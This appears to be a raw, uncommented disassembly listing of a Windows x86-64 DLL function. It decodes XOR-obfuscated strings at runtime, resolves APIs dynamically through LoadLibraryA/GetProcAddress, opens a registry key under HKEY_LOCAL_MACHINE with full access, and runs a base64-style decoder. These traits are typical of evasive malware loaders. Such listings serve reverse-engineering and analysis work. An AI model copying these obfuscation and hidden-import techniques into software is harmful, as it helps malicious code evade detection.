mov dword [rbp - 0x6b], 0xcecedd
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 2
jae 0x18034e834
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x56
xor cl, byte [rbp + rax - 0x6a]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x6a], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 2
jb 0x18034e802
lea r8, [rbp - 0x6a]
mov byte [rbp - 0x68], 0
lea rdx, [rbp + 0x2b8]
lea rcx, [0x1803a14e0]
call fcn.180004da0
lea rax, [rbp + 0xf0]
mov r12d, 4
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x70], 1
mov qword [rsp + 0x50], 7
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
add rcx, rax
mov qword [rsp + 0x70], rcx
mov rcx, qword [rbp + 0x2c0]
sub rcx, qword [rbp + 0x2b8]
mov rax, qword [rsp + 0x70]
cmp rcx, rax
jne 0x18034e92a
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x440], rax
lea rdi, [rbp + 0xf0]
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x70], 6
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rbp + 0x2b8]
add rcx, rax
mov qword [rsp + 0x70], rcx
mov rcx, qword [rsp + 0x70]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rdi], al
lea rdi, [rdi + 1]
sub rcx, 1
jne 0x18034e8f0
mov rdi, qword [rbp + 0xf0]
call fcn.180005d80
sub rdi, rax
add rdi, 0x708
test rdi, rdi
jg 0x18034eafc
mov dil, 1
jmp 0x18034eaff
call fcn.180005d80
mov qword [rbp + 0xf8], rax
lea r8, [rbp + 0x3e38]
lea rax, [rbp + 0xf8]
mov qword [rbp + 0x498], rax
mov qword [rsp + 0x70], 6
mov qword [rsp + 0x50], 2
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
add rcx, rax
mov qword [rsp + 0x70], rcx
lea rcx, [rbp + 0x350]
mov rdx, qword [rsp + 0x70]
call fcn.180351c70
lea rax, [rbp + 0xf8]
mov qword [rbp + 0x4a0], rax
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x50], r12
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x50]
mov rdi, qword [rbp + 0x350]
add rcx, rax
mov qword [rsp + 0x70], rcx
mov rcx, qword [rsp + 0x70]
nop dword [rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rdi], al
lea rdi, [rdi + 1]
sub rcx, 1
jne 0x18034e9c0
mov rax, qword [rsi + r14*8]
mov edi, 4
mov ecx, dword [rdi + rax]
cmp dword [0x1803a15d0], ecx
jle 0x18034ea20
lea rcx, [0x1803a15d0]
call fcn.180360f8c
cmp dword [0x1803a15d0], 0xffffffff
jne 0x18034ea20
lea rcx, [0x1803a14e0]
call fcn.1800036c0
lea rcx, [0x18037d290]
call fcn.1803614c4
lea rcx, [0x1803a15d0]
call fcn.180360f2c
mov dword [rbp - 0x67], 0xd3d12f
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 2
jae 0x18034ea72
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x4b
xor cl, byte [rbp + rax - 0x66]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x66], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 2
jb 0x18034ea40
lea rdx, [rbp + 0x350]
mov byte [rbp - 0x64], 0
lea rcx, [rbp + 0x5b0]
call fcn.180351bf0
mov r8, rax
lea rdx, [rbp - 0x66]
lea rcx, [0x1803a14e0]
call fcn.180004ad0
mov rax, qword [rsi + r14*8]
mov ecx, dword [rdi + rax]
cmp dword [0x1803a15d0], ecx
jle 0x18034eae4
lea rcx, [0x1803a15d0]
call fcn.180360f8c
cmp dword [0x1803a15d0], 0xffffffff
jne 0x18034eae4
lea rcx, [0x1803a14e0]
call fcn.1800036c0
lea rcx, [0x18037d290]
call fcn.1803614c4
lea rcx, [0x1803a15d0]
call fcn.180360f2c
lea rcx, [0x1803a14e0]
call fcn.180004280
lea rcx, [rbp + 0x350]
call fcn.180351b90
xor dil, dil
lea rcx, [rbp + 0x2b8]
call fcn.180351b90
test dil, dil
jne 0x18034ece0
movdqa xmm0, xmmword [0x18038f720]
xor eax, eax
mov byte [rbp + 0x1f8], al
movdqu xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x270], r15
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xf
jae 0x18034eb7b
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 9
xor cl, byte [rbp + rax + 0x1e9]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x1e9], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xf
jb 0x18034eb43
mov byte [rbp + 0x1f8], 0
call fcn.180001690
mov rdx, qword [rsi + r14*8]
mov rdi, rax
mov ebx, 4
mov edx, dword [rbx + rdx]
cmp dword [0x18039d510], edx
jle 0x18034ebcd
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034ebcd
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rdx
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov edx, dword [rbx + rax]
cmp dword [0x1803a1558], edx
jle 0x18034ec0b
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034ec0b
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rdi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x1e9]
call qword [0x1803a1560]
mov rdi, rax
test rax, rax
je 0x18035153a
mov dword [rbp + 0x48], 0xbeb8a509
mov dword [rbp + 0x4c], 0xaebaadad
mov dword [rbp + 0x50], 0x47b2a2b8
mov word [rbp + 0x54], 0x55
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jae 0x18034ec92
nop dword [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0xa
xor cl, byte [rbp + rax + 0x49]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x49], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xc
jb 0x18034ec60
mov qword [rsp + 0x40], r15
lea rax, [rbp + 0x270]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x49]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r15d
mov byte [rbp + 0x55], 0
call rdi
lea rcx, [rbp + 0x500]
call fcn.1800060c0
mov eax, r15d
jmp 0x18035154d
mov rax, qword [rsi + r14*8]
mov ecx, 4
mov ecx, dword [rcx + rax]
cmp dword [0x1803a1aa4], ecx
jle 0x18034edf3
lea rcx, [0x1803a1aa4]
call fcn.180360f8c
cmp dword [0x1803a1aa4], 0xffffffff
jne 0x18034edf3
xor eax, eax
mov word [rsp + 0x7f], 0xd12b
mov byte [rbp - 0x7f], al
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 1
jae 0x18034ed62
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x4d
xor cl, byte [rbp + rax - 0x80]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x80], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 1
jb 0x18034ed30
lea rax, [0x18038ea08]
mov byte [rbp - 0x7f], 0
xor r8d, r8d
mov qword [0x1803a1a50], rax
xor edx, edx
lea rcx, [0x1803a1a58]
call fcn.180001990
lea rcx, [0x1803a1a60]
call fcn.1803520a0
xorps xmm0, xmm0
mov qword [0x1803a1a90], r15
movdqa xmmword [0x1803a1a80], xmm0
lea rax, [rbp - 0x80]
nop word [rax + rax]
inc r13
cmp byte [rax + r13], 0
jne 0x18034edb0
mov r8, r13
lea rdx, [rbp - 0x80]
lea rcx, [0x1803a1a60]
call fcn.180353890
lea rax, [0x18038ea08]
lea rcx, [0x18037d2e0]
mov qword [0x1803a1a50], rax
call fcn.1803614c4
lea rcx, [0x1803a1aa4]
call fcn.180360f2c
lea rcx, [0x1803a1a50]
call fcn.180005440
mov rax, qword [rsi + r14*8]
mov r13d, 4
mov eax, dword [rax + r13]
cmp dword [0x18039d508], eax
jle 0x18034ee4e
lea rcx, [0x18039d508]
call fcn.180360f8c
cmp dword [0x18039d508], 0xffffffff
jne 0x18034ee4e
lea rcx, [0x1803a1a28]
call fcn.1803531e0
lea rcx, [0x18037d310]
call fcn.1803614c4
lea rcx, [0x18039d508]
call fcn.180360f2c
lea rcx, [0x1803a1a28]
call fcn.18000d0e0
mov rax, qword [rsi + r14*8]
mov ecx, dword [rax + r13]
cmp dword [0x18039d508], ecx
jle 0x18034eea3
lea rcx, [0x18039d508]
call fcn.180360f8c
cmp dword [0x18039d508], 0xffffffff
jne 0x18034eea3
lea rcx, [0x1803a1a28]
call fcn.1803531e0
lea rcx, [0x18037d310]
call fcn.1803614c4
lea rcx, [0x18039d508]
call fcn.180360f2c
lea rcx, [0x1803a1a28]
call fcn.18000d5f0
mov rax, qword [rsi + r14*8]
mov edx, dword [rax + r13]
cmp dword [0x18039d508], edx
jle 0x18034eef8
lea rcx, [0x18039d508]
call fcn.180360f8c
cmp dword [0x18039d508], 0xffffffff
jne 0x18034eef8
lea rcx, [0x1803a1a28]
call fcn.1803531e0
lea rcx, [0x18037d310]
call fcn.1803614c4
lea rcx, [0x18039d508]
call fcn.180360f2c
lea rcx, [0x1803a1a28]
call fcn.18000d440
mov rax, qword [rsi + r14*8]
lea rdi, [0x18039d520]
mov eax, dword [rax + r13]
cmp dword [0x1803a1aa0], eax
jle 0x18034f043
lea rcx, [0x1803a1aa0]
call fcn.180360f8c
cmp dword [0x1803a1aa0], 0xffffffff
jne 0x18034f043
xorps xmm0, xmm0
mov qword [0x18039d528], r15
xorps xmm1, xmm1
movdqa xmmword [0x18039d530], xmm0
lea rcx, [0x1803a1048]
movdqa xmmword [0x18039d540], xmm1
movdqa xmmword [0x18039d560], xmm0
movdqa xmmword [0x18039d570], xmm1
movdqa xmmword [0x18039d580], xmm0
movdqa xmmword [0x18039d590], xmm1
mov qword [0x18039d550], r15
mov qword [0x18039d520], rdi
mov qword [0x18039d558], rdi
mov qword [0x18039d5a0], r15
mov word [0x18039f2ec], 0
mov word [0x1803a1034], 0
call fcn.1803540c0
xor r8d, r8d
mov dword [0x1803a1038], r15d
xor edx, edx
mov qword [0x1803a1040], r15
lea rcx, [0x1803a1068]
call fcn.180001990
lea rcx, [0x1803a1078]
call fcn.180351640
xorps xmm0, xmm0
mov qword [0x1803a10a0], r15
lea rcx, [0x18037d3f0]
movdqa xmmword [0x1803a1090], xmm0
mov qword [0x1803a1058], r15
mov qword [0x1803a1060], r15
mov byte [0x1803a1070], 0
mov dword [0x1803a1088], 0x10000
mov dword [0x1803a10a8], r15d
mov qword [0x1803a14c0], r15
mov qword [0x1803a14c8], 0
mov byte [0x1803a14d0], 0
call fcn.1803614c4
lea rcx, [0x1803a1aa0]
call fcn.180360f2c
mov rcx, rdi
call fcn.18004eb00
mov rax, qword [rsi + r14*8]
mov ecx, dword [rax + r13]
cmp dword [0x1803a1aa0], ecx
jle 0x18034f183
lea rcx, [0x1803a1aa0]
call fcn.180360f8c
cmp dword [0x1803a1aa0], 0xffffffff
jne 0x18034f183
xorps xmm0, xmm0
mov qword [0x18039d528], r15
xorps xmm1, xmm1
movdqa xmmword [0x18039d530], xmm0
lea rcx, [0x1803a1048]
movdqa xmmword [0x18039d540], xmm1
movdqa xmmword [0x18039d560], xmm0
movdqa xmmword [0x18039d570], xmm1
movdqa xmmword [0x18039d580], xmm0
movdqa xmmword [0x18039d590], xmm1
mov qword [0x18039d550], r15
mov qword [0x18039d520], rdi
mov qword [0x18039d558], rdi
mov qword [0x18039d5a0], r15
mov word [0x18039f2ec], 0
mov word [0x1803a1034], 0
call fcn.1803540c0
xor r8d, r8d
mov dword [0x1803a1038], r15d
xor edx, edx
mov qword [0x1803a1040], r15
lea rcx, [0x1803a1068]
call fcn.180001990
lea rcx, [0x1803a1078]
call fcn.180351640
xorps xmm0, xmm0
mov qword [0x1803a10a0], r15
lea rcx, [0x18037d3f0]
movdqa xmmword [0x1803a1090], xmm0
mov qword [0x1803a1058], r15
mov qword [0x1803a1060], r15
mov byte [0x1803a1070], 0
mov dword [0x1803a1088], 0x10000
mov dword [0x1803a10a8], r15d
mov qword [0x1803a14c0], r15
mov qword [0x1803a14c8], 0
mov byte [0x1803a14d0], 0
call fcn.1803614c4
lea rcx, [0x1803a1aa0]
call fcn.180360f2c
mov rcx, rdi
call fcn.18004aa10
mov dword [rsp + 0x60], 0x1882
mov dword [rbp + 0x3e48], 0xe8e
mov ecx, dword [rbp + 0x3e48]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rbp + 0x3e48], ecx
mov eax, dword [rbp + 0x3e48]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x60], 0xc138
mov dword [rbp + 0x3e48], 0x218
mov ecx, dword [rbp + 0x3e48]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rbp + 0x3e48], ecx
mov eax, dword [rbp + 0x3e48]
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x60], 0x88f4
mov dword [rbp + 0x3e48], 0x3f68
mov ecx, dword [rbp + 0x3e48]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rbp + 0x3e48], ecx
mov ecx, dword [rbp + 0x3e48]
mov rax, qword [rsp + 0x70]
cmp rax, rcx
jne 0x18034f24a
mov dword [rsp + 0x60], 0x152a
mov dword [rbp + 0x3e48], 0x1b0f
mov ecx, dword [rbp + 0x3e48]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rbp + 0x3e48], ecx
mov ecx, dword [rbp + 0x3e48]
mov eax, dword [rsp + 0x68]
mov rax, qword [rsi + r14*8]
mov edx, dword [rax + r13]
cmp dword [0x1803a15d0], edx
jle 0x18034f293
lea rcx, [0x1803a15d0]
call fcn.180360f8c
cmp dword [0x1803a15d0], 0xffffffff
jne 0x18034f293
lea rcx, [0x1803a14e0]
call fcn.1800036c0
lea rcx, [0x18037d290]
call fcn.1803614c4
lea rcx, [0x1803a15d0]
call fcn.180360f2c
mov dword [rbp - 0x63], 0x8c88b9
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 2
jae 0x18034f2e2
nop word [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub dl, 5
xor dl, byte [rbp + rax - 0x62]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x62], dl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 2
jb 0x18034f2b0
lea r8, [rbp - 0x62]
mov byte [rbp - 0x60], 0
lea rdx, [rbp + 0x368]
lea rcx, [0x1803a14e0]
call fcn.180004da0
mov rdx, qword [rbp + 0x368]
cmp qword [rbp + 0x370], rdx
je 0x18034f610
lea rcx, [rbp + 0x330]
call fcn.180352060
movdqa xmm0, xmmword [0x18038fac0]
movdqa xmm1, xmmword [0x18038fa10]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x3c0], 0x3b
movdqa xmm0, xmmword [0x18038f8c0]
movdqu xmmword [rbp + 0x390], xmm1
movdqa xmm1, xmmword [0x18038f6a0]
movdqu xmmword [rbp + 0x3a0], xmm0
movdqu xmmword [rbp + 0x3b0], xmm1
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x40
jae 0x18034f3b8
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x2b
xor cl, byte [rbp + rax + 0x381]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x381], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x40
jb 0x18034f380
lea rdx, [rbp + 0x381]
mov byte [rbp + 0x3c1], 0
lea rcx, [rbp + 0x4c0]
call fcn.180352060
mov r14d, dword [rbp + 0x340]
xor r13d, r13d
mov qword [rbp + 0x200], r13
mov ebx, r15d
mov qword [rbp + 0x208], r13
mov qword [rbp + 0x210], r13
test r14d, r14d
je 0x18034f5ba
mov edi, r13d
movsxd rsi, r15d
lea rcx, [rbp + 0x330]
mov rdx, rsi
dec r14d
call fcn.180351f40
cmp byte [rax], 0x3d
je 0x18034f507
mov rdx, rsi
lea rcx, [rbp + 0x330]
call fcn.180351f40
movzx ecx, byte [rax]
call fcn.180005d40
test al, al
je 0x18034f507
mov rdx, rsi
lea rcx, [rbp + 0x330]
call fcn.180351f40
inc ebx
inc r15d
movzx ecx, byte [rax]
mov byte [rsp + rdi + 0x78], cl
inc rdi
cmp ebx, r12d
jne 0x18034f4fe
mov rdi, r13
nop word [rax + rax]
movzx edx, byte [rsp + rdi + 0x78]
lea rcx, [rbp + 0x4c0]
xor r8d, r8d
call fcn.180351d40
mov byte [rsp + rdi + 0x78], al
inc rdi
cmp rdi, r12
jl 0x18034f470
movzx edx, byte [rsp + 0x79]
lea rdi, [rbp - 0x7c]
movzx eax, byte [rsp + 0x78]
movzx ecx, dl
shl al, 2
mov ebx, 3
shr cl, 4
and cl, 3
shl dl, 4
add cl, al
mov byte [rbp - 0x7c], cl
movzx ecx, byte [rsp + 0x7a]
movzx eax, cl
shl cl, 6
shr al, 2
and al, 0xf
add al, dl
add cl, byte [rsp + 0x7b]
mov byte [rbp - 0x7a], cl
mov byte [rbp - 0x7b], al
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x200]
call fcn.180351910
inc rdi
sub rbx, 1
jne 0x18034f4e0
mov ebx, r13d
mov rdi, r13
test r14d, r14d
jne 0x18034f400
test ebx, ebx
je 0x18034f5bf
cmp ebx, r12d
jge 0x18034f529
movsxd rax, ebx
lea rdi, [rsp + 0x78]
add rdi, rax
sub r12d, ebx
xor eax, eax
movsxd rcx, r12d
rep stosb byte [rdi], al
xor r15d, r15d
mov edi, r15d
nop
movzx edx, byte [rsp + rdi + 0x78]
lea rcx, [rbp + 0x4c0]
xor r8d, r8d
call fcn.180351d40
mov byte [rsp + rdi + 0x78], al
inc rdi
cmp rdi, 4
jl 0x18034f530
movzx edx, byte [rsp + 0x79]
movzx eax, byte [rsp + 0x78]
movzx ecx, dl
shr cl, 4
shl al, 2
and cl, 3
add cl, al
shl dl, 4
mov byte [rbp - 0x7c], cl
movzx ecx, byte [rsp + 0x7a]
movzx eax, cl
shl cl, 6
add cl, byte [rsp + 0x7b]
shr al, 2
and al, 0xf
mov byte [rbp - 0x7a], cl
add al, dl
dec ebx
mov byte [rbp - 0x7b], al
test ebx, ebx
jle 0x18034f5c2
lea rdi, [rbp - 0x7c]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x200]
call fcn.180351910
inc rdi
sub rbx, 1
jne 0x18034f5a0
jmp 0x18034f5c2
xor r15d, r15d
jmp 0x18034f5cb
xor r15d, r15d
mov rsi, qword gs:[0x58]
lea rcx, [rbp + 0x4c0]
call fcn.180353810
lea rcx, [rbp + 0x330]
call fcn.180353810
mov edx, dword [rbp + 0x208]
mov rcx, qword [rbp + 0x200]
sub edx, ecx
call fcn.1800407e0
lea rcx, [rbp + 0x200]
call fcn.180351b90
mov r14d, dword [0x18039b468]
mov r13d, 4
mov dword [rbp - 0x37], 0xdeccfbb3
mov dword [rbp - 0x33], 0xcbc0c5ff
mov word [rbp - 0x2f], 0xdd
mov dword [rbp + 0xd], 0xd8cfcec9
mov dword [rbp + 0x11], 0xeff28ccc
mov dword [rbp + 0x15], 0xa8afa6
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 8
jae 0x18034f682
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x58
xor cl, byte [rbp + rax - 0x36]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x36], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 8
jb 0x18034f650
mov byte [rbp - 0x2e], 0
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jae 0x18034f6d2
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x45
xor cl, byte [rbp + rax + 0xe]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xe], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jb 0x18034f6a0
mov byte [rbp + 0x18], 0
mov rax, qword [rsi + r14*8]
mov ecx, dword [rax + r13]
cmp dword [0x18039d510], ecx
jle 0x18034f715
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034f715
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [rax + r13]
cmp dword [0x1803a1558], ecx
jle 0x18034f754
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034f754
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
lea rcx, [rbp + 0xe]
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp - 0x36]
call qword [0x1803a1560]
mov rdi, rax
test rax, rax
je 0x18035152e
mov dword [rsp + 0x58], 0x15b
xor r9d, r9d
mov dword [rbp + 0x3e48], 0x675
mov edx, dword [rbp + 0x3e48]
mov ecx, dword [rsp + 0x58]
add edx, ecx
mov dword [rbp + 0x3e48], edx
xor ecx, ecx
mov r8d, dword [rbp + 0x3e48]
xor edx, edx
call rdi
mov dword [rbp + 0x3e48], 0xb4f
xor r9d, r9d
mov dword [rsp + 0x58], 0x839
mov rbx, rax
mov edx, dword [rbp + 0x3e48]
mov ecx, dword [rsp + 0x58]
add edx, ecx
mov dword [rbp + 0x3e48], edx
xor ecx, ecx
mov r8d, dword [rbp + 0x3e48]
xor edx, edx
mov qword [rbp + 0x230], rax
call rdi
mov qword [rbp + 0x220], rax
xor eax, eax
mov byte [rbp + 0x47], al
mov dword [rbp + 0x3b], 0xbaa88b7f
mov dword [rbp + 0x3f], 0xa1a2b582
mov dword [rbp + 0x43], 0x97b0b3b2
mov dword [rbp + 1], 0xabbeb925
mov dword [rbp + 5], 0xfce3e3bd
mov dword [rbp + 9], 0xb9b8b7
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xb
jae 0x18034f862
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x34
xor cl, byte [rbp + rax + 0x3c]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x3c], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xb
jb 0x18034f830
mov byte [rbp + 0x47], 0
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jae 0x18034f8b2
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x34
xor cl, byte [rbp + rax + 2]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 2], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jb 0x18034f880
mov byte [rbp + 0xc], 0
mov rax, qword [rsi + r14*8]
mov ecx, dword [rax + r13]
cmp dword [0x18039d510], ecx
jle 0x18034f8f5
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034f8f5
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [rax + r13]
cmp dword [0x1803a1558], ecx
jle 0x18034f934
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034f934
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
lea rcx, [rbp + 2]
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x3c]
call qword [0x1803a1560]
mov r13, rax
test rax, rax
je 0x18035152e
movdqa xmm0, xmmword [0x18038f6d0]
movdqu xmmword [rbp + 0x1c2], xmm0
mov word [rbp + 0x1d2], 0x3f
mov dword [rbp - 0x23], 0xb3a6a1be
mov dword [rbp - 0x1f], 0xf4ebeba5
mov dword [rbp - 0x1b], 0xb1b0bf
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jae 0x18034f9d8
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
add cl, 0x4b
xor cl, byte [rbp + rax + 0x1c3]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x1c3], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x18034f9a0
mov byte [rbp + 0x1d3], 0
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jae 0x18034fa22
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x2c
xor cl, byte [rbp + rax - 0x22]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x22], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jb 0x18034f9f0
mov byte [rbp - 0x18], 0
mov rax, qword [rsi + r14*8]
mov r12d, 4
mov ecx, dword [r12 + rax]
cmp dword [0x18039d510], ecx
jle 0x18034fa6b
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x18034fa6b
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
cmp dword [0x1803a1558], ecx
jle 0x18034faaa
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x18034faaa
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
lea rcx, [rbp - 0x22]
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rbp + 0x1c3]
call qword [0x1803a1560]
mov qword [rsp + 0x70], rax
mov rdi, rax
test rax, rax
je 0x18035152e
movdqa xmm0, xmmword [0x18038fa60]
movdqu xmmword [rbp + 0x1b0], xmm0
mov word [rbp + 0x1c0], 0x8f
mov dword [rbp - 0x17], 0x908786f8
mov dword [rbp - 0x13], 0xd7cac484
mov dword [rbp - 0xf], 0x90979e
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jae 0x18034fb4b
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0x41
xor cl, byte [rbp + rax + 0x1b1]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x1b1], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x18034fb13
mov byte [rbp + 0x1c1], 0
mov qword [rsp + 0x50], r15
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jae 0x18034fb94
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
sub cl, 0xd
xor cl, byte [rbp + rax - 0x16]
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax - 0x16], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0xa
jb 0x18034fb62
mov byte [rbp - 0xc], 0
mov rax, qword [rsi + r14*8]
mov ecx, dword [r12 + rax]
